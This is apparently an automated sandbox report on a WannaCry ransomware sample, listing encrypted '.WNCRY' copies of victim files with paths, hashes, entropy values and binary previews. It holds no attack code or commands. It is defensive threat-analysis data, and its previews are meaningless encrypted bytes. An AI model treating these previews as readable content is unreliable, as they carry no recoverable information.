                                    Preview:WANACRY!........c....4......).|..3.4.... h`..........ttQI__.... .vw.da.+T...%..Q...d.VGKj...H...Y...Z.......a..n]...%..>.*........`i.y<.6......s....4EC6kY.Th..!...I4.(."K.l......8.cL.......p<.....XhI..>........'.+..g5.<8.c.F..,.^.....u.(k....5?d.Y...B............$GA..E>`!d...M....F{[..r:#W..S..8.(..71......SY....6.LOu.3..........`.....&n...b.y..f...[.g..3.g.,...f........{..@.I....d..bct.....(,.%%j~...S...n,....'......X....w.M.j.xJ..G...]........=.U..9...I.....LN.4.y.*.=..L.7...0.{..x..-b.p..`.I..@1:..."....>...../.X8Yt..o.O..oM...A..v.JG8..*.h..w..8H..By..F.:...-kkR.....:.V..@.+.a[.._?.0..C.....<e...b...f.I..P.....V...c...k.+<.t....z..>..........|H...I.Y....[...Nl.. ..zk.P^.Uu...}.s....u0........>6DqeV.......`i.iL..u.g.g..)..#.....i....~.......1...Y..0#S....e\*.........nB...1..bR..N..!..K..Dw.rj......y.x.Z._c.:6..^.M:..^vs9..J..b-*Z]?...`......._.u........d....=...\k.)..k....t(.g..%{6.gQ:T..n........:..3.!....<....q|#.......

                                    C:\Documents and Settings\user\Downloads\LIJDSFKJZG.jpg.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.814654437435679
                                    Encrypted:false
                                    SSDEEP:24:bkKkfxn8/YdN+hti+RyxLmVc7QQv9UB8T8UO2yQwIIYXghP4jvTf12HUDJxBEBrT:bkKkf5CwNfCsz7QGewFCxOH7120Dy
                                    MD5:D8F56F33F82F0809EBEF5E0384C316DB
                                    SHA1:1323EF8CDB7D4DF8B61E08754DECFD037A5A3905
                                    SHA-256:F44965724C726443065CE00A6AC904462AF513E66972AAD7A54F6E27D374B179
                                    SHA-512:75AD178C9476778A9AFBDB7250026F888D61CB25AA78F981E832BD57A33746C9C62002E48B5E6FDEB045135683D8E6E0384A0AB45A965497541A5A7486310047
                                    Malicious:false
                                    Preview:WANACRY!....dz."..#s..W.:5....2...M.....Kp...U...|..9.g3.E...=.c6........?...rs..:.}...R.e^.....m.`.!...f.H..d.$.N/.....*oa.")..Tyn....J6..G6..uZ...&p..i_...W...jO..x.....8.........Y.....b>&...2...&.1X. .x....I....`.....F./>.w.j..|.Y.{$AhR. DB..b..S...4.@,I...............z..B.$/..]...Z.Kh...)..p..Sx...~..r${...e.....q..k..6..M+U.eo..G...$........%o..f.. ...d...%..f..h.4.uS'.....j.N......k.-f.%.x...u.........=.."..eT...^w..~..@..?.=.T..k..m../.0K...RXe.To.:....zM..W...IL*c.[..._&!Ck..s.6C.g.>s.Mmu.........D.3".l..w/.t...<1.$.[.._iA...Wf"...$c..G.e._.8lDgN..;.....z.... K.W...Z.T5...d.]k...=<........l.f...d...k>..e.MNN+.w..&.i8.9....Av!.<{.`..../..w.y....5.Rzy..s.G....Q.W'd..yO.u.;.w.}W..O..`o,.N.F.W......\$P..........>...#"e;.....=.eh..xlJ.d.s.W.%..s..;O@.c0.e..dI=....z..5..o. =..A.W...V....+..W...[f..Kl...7z......J"r....:..r...h.&..A.t^U.?.....o...`.a...bJ.#..Z7.._....P.%.....l8SL......@..c.3.`.=..g.5E.;X.....K..a.P1CN..N....O.B.+C[......k<D

                                    C:\Documents and Settings\user\Downloads\LIJDSFKJZG.xlsx.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.845475601594989
                                    Encrypted:false
                                    SSDEEP:24:bkRGwwz1ziZCRCHjMVpfBtrVN7JreIEy13/XPiMGhv9lNX5zXND0HbJYT+5j:bkVTZzHjMVpfBtnJrRX13/kNZX5zdSVd
                                    MD5:99B2FCFB267A3B522FDC53119EC09DBD
                                    SHA1:7EEDE4DA0C8606A40156ADFA95F7E07463836D2C
                                    SHA-256:AF123539F1E3344A89D670D4E594B95D6D400473A95EE05447AA18A6AC3B6B23
                                    SHA-512:4C6E0A6018678504E7A6386BB038C05CC69D22CA73A1F4FC7941E332526967DB638B1A68B2DA6D187E82B076B94B1753ED8B64CDFC8754DEB77E7F29675AFB50
                                    Malicious:false
                                    Preview:WANACRY!......#!..C.....).{..y...N..R`K..G..C2..q ..Pi..Z{8..|f...o._...."...Rj..+.(Z..R.z...D]U.9...../..H..k!...?^\Q...(...m..W..<...H.........0.!.c...c....N..j....^....,..T.]0o.%mpv..y-P.3.5":{...."..(m...Ng..(.-F._.}(l.XO."\.....C.....A.?.Jp..V...B..b.k............al.).h.4.rHv..E_fJ.....\.]a+..6@v..f...5.V...@..-..='a...]">&..3..Dt..&.co.2...*.....>.._....7@B.p..h........JP.EJp..6...H..|B.....zq.n9J.6.Va{z5...ae.l.w.hbk..1.G(.S.Q..*.......7.........(.v09..d......P...y...#."."%.vSp^....o..%...O.....`V...L.p.......5............Q.U..../...p....,....q.@.)..>f.D.f.&...!.0Oq.F.XB.3O.w.H....d.e..-..?4.<.........Y..De..J.K..k)2.z.....fx.}.G.0.L...p.+..6I.2..k@:.v....l.HN..]..........Y.k.C..@.o.N.b.p@.D(.9..@#...S..+4.....}.y. ...u.Y....0.W...b..R.....b..<%J.........Q......pv~..............VD.waD.....h.M.tL.y.o.(.3.^....f.7....,....c6.. ..=...O^.k?.Z...1.d.X..d).~...K...b.|(.)x....6......w.d.,Y.c!?.S9..q...........S......c...(.}.[......

                                    C:\Documents and Settings\user\Downloads\PWZOQIFCAN.jpg.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.85917057387597
                                    Encrypted:false
                                    SSDEEP:24:bkRVq4Zrzlw52emwm4um0De4psLob65ncbxu3HjLuvit/nPZr0z:bknq2zgpmwFRNekoicbxAHjCCZrq
                                    MD5:EDB6E0A0C6FFEF14F470D153571F852F
                                    SHA1:119E7420E8B9184EE042DB9E614C44947845A2EC
                                    SHA-256:8F8AC041782C11D31B639A4CF70CA33D0F3386F1F31DCF5C040E461EC7134A28
                                    SHA-512:396D26E5112D66F277AE47BC92AF639EEC865ED8699D2512EF9C5E691AD2F8FFFD3AC3BECE2F008FFDDB432AAB1ECB12D00877C7CC1DBCFEF58EBD0BBC2AA7F1
                                    Malicious:false
                                    Preview:WANACRY!.....%..A..&..f.........`_+g....c...:........#Ld..)h...k.P......G....R.Y.._d..1..3..o..7....P...\.Y#z...g.v~.'.j.."O.h../...2.\...A..nfp.......bd......G..?8..rh....A..|.A.@..[V.@. Ck......i..l+_.....o..S.. ....24..?.>.T.v..jXgQ.......H..Kf.1ez_.?M.................A....{.....o.....Z..3?X'..2..h...4.{.....~.Mz. ...^..C.i...y...5..l.......4.*.....R..w.......x..].Z.....`Zv:.'.k......p.ntM...m.x5s.f..m.7S..V..F..).Xm..Q. o..W>E. .. ~....r.,..t...W.....Z.?.Cv..y~O(!.._.......#.....*`...u#..'..}|..so.T21...7..mW...A$.}..\..O.[...5}.yu..........*)m.)..<...=.Y....1...`...o9.v..;.kmo..c.lIR.k........rC...7....j.Q.pa.a`7<....J.[P.+g,J%.UO......V..s..u...y..[..}%.'s...v...}.6.;s..jg.......u....z....(=xQ.p\..03....o......H..)....p-.s`..._.T...'..X.6X}~l.....U$...r...........0.[Y.a..#...F...L.....[.p.....N.s.........r......v...rX.,..mk.....L...YYD.O.....J..|.M..k....Z.B.z...{.8..~!.h.u.R......a(...( ......o.R..Q.P...M...]I.N.....Z.....1.

                                    C:\Documents and Settings\user\Downloads\QFAPOWPAFG.pdf.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.854713950558144
                                    Encrypted:false
                                    SSDEEP:24:bk5QOo8ReGcXGCUjZRWu37xeBV1BkllKqmnaQzPbUmGi90fz5YldgI9jhqk:bkXeJWC0ZRP37sBV10KqQfbf072ldgIH
                                    MD5:7063A3D982AEC675EE8AD4278050C5C6
                                    SHA1:BD86E825AF0889629E9005B7613E3DF3DE594D6C
                                    SHA-256:9DB91751DC72CA3740CAA9D0D4C7240CBA8C5C33C3FDDF01B2F45E0AD68730A2
                                    SHA-512:18C5343E4F027AD3F06289F7CDE5D4799FCA49DB07E4F602EB42D6528500A5D91D75D48252AA3863210FC95F54E5D3E4E8C3145CE8A42674C21099D00C2F078A
                                    Malicious:false
                                    Preview:WANACRY!......6L..U#;`P.....H....-..x..2c....(......(B.]......=..*....gw.....$.P........v.MBD...x....7..9#1|.P.^..3...(......-....B..7.Q]...lR/..z.O'..g.X.....-.$P8.j.....g..Z....j~u.........N.M.bc#.......aNI....+.?V.U..\%.g..D...K...6..>.!.@.. .qR].Xr............O.qNp..~..bo...TW......,q.R..>......n.._9......&......./..l.."..P.........Bk..Z..A.".]L...v.z..&.=.nW..Q.a9....Z^H.@8-...dGY..CVv.1D.u..!...u&jG.A...X..m..8.9..7..$...[.......Z..~....n.H....s...N..;.R...!i.LM..'..*k.~#...... O/h..*./..F2A@f..:..35.d.xL...(....\5;N..c.iu....M._......*...m.%^=.....C.<........DA.".d9H.0..`~DY.V.N... 8.....&....d..5.y..V..k.%*m.4.`.....Ru..`.^...M.i....(...l..o...7.W...x.:.!......#.o....'......E(N. ...}V.4.O>..0.K..M#......D.z>....U..E..#..BKD^A..ic..`&......j.B..1...[.6t.j.pj.....>.R.......9...1_...!.+Va.4...fuW.>...).h..j...Jdy....."..I..F...h8..&lT.y].A....C..3.B.....1.|.]tz.^QZ.3...39..{..L..d.u......[..../r.l.g..s5j..&.O.m...i.r..V.)...^.G.5.0A..TX.$.....r.

                                    C:\Documents and Settings\user\Downloads\UNKRLCVOHV.docx.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.852762520367655
                                    Encrypted:false
                                    SSDEEP:24:bksH93I/G0TScl0GeUKJeWURHoEO1pvwRDpkwS2johYo8ACU43X:bkFueSS0mKJe9rDq32MhYjH
                                    MD5:3B0F0EF5FA4082330B817FF97AADAC00
                                    SHA1:325E75E68830FFAE7ED3BC67196F4D51D7588655
                                    SHA-256:FA046AF6C91CE4DCB9B8741E1FB206F7ED543A6BD5E519DA63C4708FE34749C8
                                    SHA-512:CC035177FFF7EAFD410DFC5DAE05D57746554F5F813EFAE7D5AAE2D027B82E3C545AB6F33FBB20F510D33012589AC30A67D490F19AFDC77AE5CFE56648D77DC8
                                    Malicious:false
                                    Preview:WANACRY!......lf~.....eA..62....j...Pu..Uj.Q]m.X....X..T.M.k.d..>..4:F/...).y>...|Cp..#{.....*%..@.'.H..g.<_. lf'.}/}...[3O..Z.92...5...6...IB\.J....'P,6.1-v.J3.....5...s..._...^.........[H.KI.a.gL...._e....m2..<c.L..< .n6......]..(6....,...C.Pvw8y....nJc.B.j.a.................t..........E,..+q..w........d....2%X....'..x....~R.M.W%i.....O..n.....6.r...d....c.GH.uK..1...$]&{B..X.*..l.*..*.q.......F.N8.I.....a......c.Y...`.....W...F4`..X...0i.!.$...VI.w.#(X@..K..HP..............+....).;]V.]..........w........(E:.`.i...Q.}.....m"b.;8.~..3...M.F1..W5..GP......y...>.mU:.`.......+\1#C1.+B......R...s...Kd...|f.]ju..f./..m..\...^d.>...4S ....$...,.<B.p.9...~...~.A."L.BC.g.U.r.T...qFU....g=Z{+_....U.0*.....1..[/w.l.p.o..j.2..U6.}zyP..jZ.....b..;/._..?..t.U~ ...z.6..T.>._.P..d.Ct......C...E...Gp.IK.l...Hh...m..>.K.0j....%..B]j.R.5>...h~.._...L.4e......0.....bfM..Ds.s74.2I.`..j*....[9Q[..=H3a._..L......@.<......4s.j..BN.p}...w......-...L..F..........cn..

                                    C:\Documents and Settings\user\Downloads\UNKRLCVOHV.xlsx.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.823475619878885
                                    Encrypted:false
                                    SSDEEP:24:bkimGqejZWIkRbPHvJdCUWtp+6ldtmGjtz7Ri27Yx/fSCkHY9vrr3NqBHxMe4qdY:bk+qGWIEbnJatpl1pR8x/fSCk49/NqLM
                                    MD5:D605ECE96EF3710818AB9EA88EDB6795
                                    SHA1:EC63DF7F0234AD1177FE4299049C45E3A6B4C0FD
                                    SHA-256:56E568E9E43B6102B16E6B1EF230C5FE98053C97ECD27AC192EECF5F874A3576
                                    SHA-512:94768FD4778188AEB90E82F9314BB4AD71FA1D881BB164120582F8B12845A65BA09CA87A0BD5349A4C07ED4028FDC035E2A0CD59AEC3C9A2262DA456F3510B9E
                                    Malicious:false
                                    Preview:WANACRY!....l.F..........b.u.T.......$.,....C....jPb.{....s.;f....!..(`.].pIG.6......,..t.....7V.m..zEs.v.!...bi.ToH"..OOE.N....K...Q...d_..........:..L....N;...C...iC6..".~^..n...EN...Q.2...'MF.z.sT....R}B.!.x..G........~...fC..$,~......R...]..?+u.......................-.[+6A...vR...Ya>.....9.P4....H.I,.?.........$3W.x.idk.E......h.h.Q.q.4.3...Ez.[.....s....$.l..Or.Ia.....<.x...J..rJ".DI..v..[.vUT...;".........j.a?.^.P.YD.......=...:,N......_.a..Dk..j...7Aj..HZB..m....=".(].<...y..F....I*v..$.V....G.J.i.9[N!)*.^..v..A..w.,.b.'......[..B..^\...\.m^....1TRR.+....].Sh..D..`.r>.W..x......=6|..[...W...~GB.........>i.._..}.....5a.....])..s..!.:........sZ..m.....y...iF.#N_.1{ .M....Z/%l...&q....W.t(p.....?.V~.&F|.20..#..|.~@.&..a^.?.|...).F..b..nPMVZ......;..Ldv.S.....,.....U.P..ZS.#.\..i1....S..P.;NF@*X..T(..vJu....%.....;....p.s. .'j...K.UP8.J..6..lp.9.....1..dd..P.h.....4.5.#.R...A...^;..v.rN...o.p...0..jZ\|/4A.{...3...4..,!.r1>OWA.v#..B.@.....us

                                    C:\Documents and Settings\user\Downloads\WSHEJMDVQC.jpg.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.835234259226574
                                    Encrypted:false
                                    SSDEEP:24:bkbK3NhKsTXwxqkBSoq9GqMBFq58vd0Om0ic4PQB0XvA0BsctXHC6Ere:bke3LKsM8wSpGqMBFq5IKOm0iRe0fAy9
                                    MD5:076160F9A8437F43ED98ED0782624B72
                                    SHA1:8FF15F986EEDA06B4910B0EDC847EE1AC12EB2BA
                                    SHA-256:692F8CD96A1F3D04B13902E998A2330503C98391BC9A377CD30E302B09F17E61
                                    SHA-512:FECCFEFA82E5418147FCE74D1963E5D2B3C9A6FE513B85CE5FC0A0E44851BE3303E5B1766BD22F5F12E3156C5BCA47897C6A5B460EC36CEE2F6DA1E1456EFC34
                                    Malicious:false
                                    Preview:WANACRY!..........3H.L.. ...9._..z.......;..7;...g....HU.s..{...K..I..|.b.je.o..j...M}Q.9..(z.T.]..6.d.e.-n.3....f-4:...`.U....2...&..Y.e2c.~.L.7u!R....t.!...M...S.....h.....rkj._.....l.K..);.y.j../......h81.J.X'.g.......{.TVk........1...../.&}..,......#NM]..l......................a.U,b.e_.K..vT...s.*7....k.....(...~:5.x............0..T..j..B...:e5.!.c..Z.d...X.L.{T.-..{...3.<.9.t.....3.n.8)(ua.X(.v.z.m...M..:..F.R.^-.\N...Xa..4.#....B....+.....3.<......U.Y{Tb.wN...eX...*.{...7p....\yU..qAXc....UD...A.y.~..r)..........Bnf.mI.Z.qdm.R?...5.8.....xj..^:.....M.......1.n...-C.\F..8...K$.f...s...@-X..O\....T.W)..'?h<....RM..g.q..y......G.r...Y.U...k..MD..y.........^..d_.s..Y.....j..b...l..=.*.+F.........5..H...f.UI...&L.A ...R..r5..k5......H.2..P..^G4S...._..eBy.i.Ca.......OT..h...;"r@,...{..d...u.`7?....Y+..5...].5...z.CB.....wf..G.8,-4.U..%...V.R....,....u..{#Yx.A....\...'...tR6.k.1.U.F.w.JX.F.{.R....S..GoL.{....Q........w.gK..........T.}......<

                                    C:\Documents and Settings\user\Downloads\WSHEJMDVQC.xlsx.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.844140109848247
                                    Encrypted:false
                                    SSDEEP:24:bkRWSPB31x+3+iNlN3tILv71N2RYZuQhyjcr2NHEcLICBrWwXZCWJ:bkJP1j+3lNhw+vQhTFI/5BXpJ
                                    MD5:504FEEE89DD930EDB3D54C4F0614D8C6
                                    SHA1:C09DAE2A19E708D2FE40D4C0886FE927D8BAD26B
                                    SHA-256:2B1583C62261CE6D256F31925810EEB9A2A755E6697D6ED2704B3BD4DD253F90
                                    SHA-512:0E4E70C30B68F1D0AC5F4350B29C3BAA4EAEA55FC525F1C2197404157006F5287E7A98F4E2095B3406C65025B9BE9691836C052D45F18C74B0C4D5F253112609
                                    Malicious:false
                                    Preview:WANACRY!....d..d...g..:Yt.......ho.U.#.....z........rOf...5..g..[J@..d.._...X....Q.B.5.u"...[.Cx.S...7.l.."z$NQ.e.6R...s...8.b...x.#..N..... ....7......Z...<6._U.c..]@..........t}.D......K....C...oK...;9h(....XU.3.'....._.|g.{..s.]..e.p....'....Yr .J%............Z.rj&..&.^.....]z..z|....p...iP.h.....0.....~..$*.7!S....t.........Q..:....s..TxH...&....)....bvI.kt>................b.......@.P4..r&.z|.."..\B........../4..#.v....D.)......>$.../.G..g......X.q..d%OE\..;......l..wv.v.n....aj...{7....J..(..N...j..F@5y.L.h.......z......./...k.`\$.@tF0.#...r..]..M>"m.......?..%..k....Wf,...}...3..).o......e.J......=.U...E....U..4.>...G.q.#k..`....$.[.....b...=.dJ.P...`=si<....+.....;t..Hy.[}...W......... z=.. |.$5~o.....G.?r.....Y.|...ZS..\..0n..v..).a..m..+?^F....?v.v..sI......Jt.<.<..d..;.......;.#VH2/Y-....]....&..q`.G.n...w..P....J@I...O%.'e/..a.TN....+-.93v........x..{N{N.cH7..RV....../.,....Ax.<.J..q.MM z.|.....iY.3.h..s..Z.r]....i_^.....

                                    C:\Documents and Settings\jones\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\acrobat_sbx\acroNGLLog.txt.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):18200
                                    Entropy (8bit):7.989734130676925
                                    Encrypted:false
                                    SSDEEP:384:+wkbr7NQEt2D6T55GaM10uiqsK4/6k7HMlOoUJa/3GlaBgM248qQY19Q:hgvNrYY5GaMe5d7HMlZUU4rUTy
                                    MD5:DF9882DECEFC5C73900F96418972DE46
                                    SHA1:C2A64EAB805126B6468E424C3AE7D624673BF4EB
                                    SHA-256:323B265C2E0C3E7830FF7734DA320BBFB26C97D99AAB640193546950E329BC2E
                                    SHA-512:C6C211A3789C014B08DE697670191248C7C85E0C49D7FCEA462DB7CECD8428FF9E7A668B5569908024CE929D2151D55D859E0C0DEF1F37B4509FCC92476C1493
                                    Malicious:false
                                    Preview:WANACRY!.........O..>...o?.fBh....$..%.ch...%.L..9..8......wG.>.`G5..W..iP{...C.46.T..V^s..\....#l.#]..!.....72....Yv.......~..x!...zn.Y<..w5t....].f[oY.{....&..{...+...:.M.?i.?...t..^....Q.U..&..f|.H........I._`,........S~...R..'.a.....x..9.[...2<..\......E......D:kJ-i@...4.1bC.[...M]...Z.........63.^9...'.7 ..e..b..]o.....P^a..;._...b=T......P....8.v;Yn.0.V..... ...a...k.g.....R..Zl...-..P....T...> ......\.%.@S.w........f+..%6ZN<..^T.=U...~.Hn.n6.C..C......\3p.w..@-.../-..~.........4..:...n...d.$.O..^....p..t... 8......2|u .$.fk|.2&.....O.WI.-....N4...bP.b."...I.u.k......y...p...@....E...&l?Q..]{.y...\!.-*.P...G...B..z -.....L..w..uD./..Eq..f..j.#....(...1A..L.lAB.r.1.........h...8.]..v..7..g.A.g...j.....O.Kr.c%>)....-h.X......d.3..*kO@.....U.W..j.j...P..+4..z+#.........l......'....p.J....w!?.....7'_....Q.(....w{.K.=.....S?..h...:+.{..{D..Y.R...tJq.....(.j%u....&..v..T......3-..V.I\...)i?.*.!....C*.y}.m.:.h..[Q....U|q@

                                    C:\Documents and Settings\jones\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Internet Explorer\brndlog.txt.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):6856
                                    Entropy (8bit):7.970572697422928
                                    Encrypted:false
                                    SSDEEP:96:oOQPgA7B5KxOawIy6X3+l/0qJL6SGK8PnWtYm50vdx/zPqW8r0zbGUlYPWs1el:ioA7zxbsqJLGKcnWEvdhP8roaXel
                                    MD5:475F1BCE899B89D8D699136BFA43AFFE
                                    SHA1:4D7CD85673B2AA0E77EDAC26BA202B63E39B6394
                                    SHA-256:DEC626C2B23FC6C0F942064C1F68FE633946A2944C1C1BD46BD33C81E73F3FC7
                                    SHA-512:7C8DC73EA72B9C82D4ABC28865459BFB8FE19BCA84CDF205BD7210CC7A5E5A4E974240492138C3DC2EEE809EFD97CBB9CBF1293641B81A65DC713CF0C9953F9E
                                    Malicious:false
                                    Preview:WANACRY!.....tRmS.LN..4R..~~.......}.|5... ...1@[..&..uM.m!0!......k....D|...yD..~9Z.....x=.!1.0+..'.3...0@.s...J+;A..;......3..oHPJ.k..v.a.q..t...(.<..wV....bo..l[.x(."...>....UW.....'.......K.....d......A...{..X.^......0.2..q.b..k....1.......@.)...i.0.,D}...............~iM.J8._.^..l.rdn...`.C.....K....v...9.P....F..".4.....`.c.(.Gb.Ba<..v.........%.%P.[&. V5.F.".k...U.G....!V W.$....u....1F.9.G.'...@.....*.....l;.t.....|......(.[j#.)`~..'.l..4...?x)..|..G|k..+p.T,..K...K.6l..;i..j.........Z..$..N.*.I.!........^.p.'^zx.G.9CU_q...zJ.....t....keOt.N.d.&..}..p.d....[....q.N.?.P8:.L...p`..b3...k}S...d.(.=.B.$.$.hZy..{.Uo.X..?*o9.....V!.%.c.3?]....&PD..L.Z%&.X.....C.7........i....$."..-M...0..2..Q..z.Y.[..k......H..........w;d._....X..e.............r-|0.v..O.n.Bv$.9/)cb.,>.+..X..Ej]..}8.p...d.5..-64 .q.Cy..p.*.9U..6.....h<l\...x...Cz....$(...E`]..b.W.hBy)T...F.f.b.xq...6FM...L,..r.\FC"...8..n:......3.;..t.g.....DGu...Gb....C.

                                    C:\Documents and Settings\jones\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.SkypeApp_kzf8qxf38zg5c\LocalState\DiagOutputDir\SkypeApp0.txt.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):19096
                                    Entropy (8bit):7.9899777782733
                                    Encrypted:false
                                    SSDEEP:384:C7RmPZqV9zU7BHU/fzqytCpTvVM4E6jrX2SgblRUTO0tBE0l8t:osPZczUR2f5aq4E0b2RrUKWEX
                                    MD5:CC5B0D12BDC039FB542361CC76771F8B
                                    SHA1:DE020F5A769569A2D85B70797CB84760F53498AA
                                    SHA-256:BC26AD4F37485B8E7092A70CDDFF44363F8960AE3AF90DC40B91F46F0CF41AF2
                                    SHA-512:F6D5C9B85C0D0D0DD098A83D6CEA51239576F850B220755E49A615FF53C2ED28DCAC76F4135D60E1F2D07EC0A054D59013A56459FA2562A595E0F16E7B90CFC4
                                    Malicious:false
                                    Preview:WANACRY!.....*..=.......*..n. s..X>..........I.I(..Eo...$`......t9....&V.\.!x|Y....b..7...v.....<.l...f.!.}."...,.S.\.e.d@.%.4.I.Br ....{m0qi...hD...|...\.:.......].i0..{w......_.}.......yfs*.. ...%MD......(. ./.?.B.<...N..6..k]...[L.{..q..u....<..&.......{I......f;`j..).<..b..Vt.fq.$.%..<3.g....a...].........3..\^..F4.. .....9n.;...0.T..=L..2[...UQ.~mx..?.....K.f#.`.r...GTL.6W.a.{....~3\.b.........a;U#....7.@.y5.O..E.q..{....U.cV..Ma3r...j..FV.C..u+5.y.......q,.n...M...vV..AN.....]~.fw..f.F[L2.n.J....O.%I....H..H.Ej..A.2..o.C..ohF.\U...c...z.).......O.4s..{.-.Y.....|Gi......P....p.}kA...r,..J...mx..p..4?.f.......O..(..M....y...08..U..^..4i../.Q...3.R.[,.|5..R>;.h..=... (,.j....EQ7.w...KH4-.@3_..A.....=...5....)V.S.4.....y..6?Q.\.Vl....P>......I...... E.*l...M..y.........0....#...P.d..a..|..W..RE3{-*.V.....Wz.dA..yg.=.;..5.5...U!..6Db.R...O...`u.|.V..}(..L#........l(...W_k..@.....}.....HN.x....h.N%i..ltP..5....Zh.T+.....t.P..k...

                                    C:\Documents and Settings\jones\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\SettingsCache.txt.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):696888
                                    Entropy (8bit):7.9997238481771475
                                    Encrypted:true
                                    SSDEEP:12288:sFeMRg2dTueTvT1LyJZz8G7NX76O1gd9+ORLkzbYtOw9JhQz9+EdPqsAnNFdKv:sFeMhXTvT1md85OadczsBHKUEdunMv
                                    MD5:6A84C509DF203A5FE915D5E3F6D63324
                                    SHA1:B450C1C01B93E195D2997664543C37EB5526AB8B
                                    SHA-256:48DBC1B82F431F5BA64A57DC5C5955A5A45F0225F8E6DAA046181E1E7171D637
                                    SHA-512:82486F3F1F695BF07C59D60814999733A0C60E9E1E44902EC75257BB1581C097EFBBC225EB0CCDC7CEBCDFDA4F865BA48D42D8B7749FA7890BCBFD5C56345EE2
                                    Malicious:true
                                    Preview:WANACRY!....C.S...bn..k./....y...u..LXc.#..a.>-L.....'G..R.j$.8.t^.....!2E....[.V.....MwC.......Uo$..q.Z.[\...W.#*,d_......H...}b..1Gg....P..G.....;.]..........(..`.C.Y.B.{.`.....PG..e.TW.c{>.p...J..F=....-...*.1.v+@.[.......E.[..W^fI.|.........................._...e.......D%...X......].I{@..N..?..T...|C..\.o.a....lrd.I....\.}.JG.F..Sm.b.t.....+6...9;..b.o...R.c..0....."........'...b.r.*.T5./............s.+n>.Z..(..Gq}....t.;..;......_...4.q.7.......k......G...X......J6x......N.O.^..z]..$zR.w].d...4W.....O$x.;..B....P.g)....X...q...j9,*+....:.kU3....Ovm..O.2.$....l....1..+..Z..7.......Bl.?......;.m;}~m.....,..d.W!trs&.H...@.y_K..|......kt...R..\..4.<..:i.fo>)O...G.....Y..H....f.+.d.A~C..z5YF.y..L..(..e"K..D..C..G..A........uN.....J(.\.v.,G.Tn.....e...w.?...3.r(.iq.ne...B...0.........o9.ra.`F...P..h...!Gg.."A.S...A&&w6.E..8Y.B..f...A%*.t....\7.wT.{.^P........,o.R..5t.F..x..d... ..`...u.T[..&Dq...|..S...!..t....b...o.~2......=pTG

                                    C:\Documents and Settings\jones\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\KAT9HXAG\hero-image-desktop-f6720a4145[1].jpg.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):138488
                                    Entropy (8bit):7.99862900775018
                                    Encrypted:true
                                    SSDEEP:3072:sZmjVo0Cu9Mmkrc69Qv3130g3jR85HlmQ1RI2k/Q:0mJo0umkI2Q1HzivZ19AQ
                                    MD5:E07E6300B152650D07BCFF354E7D2657
                                    SHA1:2C9BD435F63F0593900196762D48C1BCC69036F6
                                    SHA-256:CE195B6296BB197A4C3AD813F4B32DE4C9D75ABF72B3930EBBF5DA2810CC6603
                                    SHA-512:666AEB822173B8C998BFD4615C90552A07AF392E62DCFA8084BE88828D85E29488933C69E4FAB9A69F7181817057844D62D276573529DEA70FADC1F1A6726BAF
                                    Malicious:true
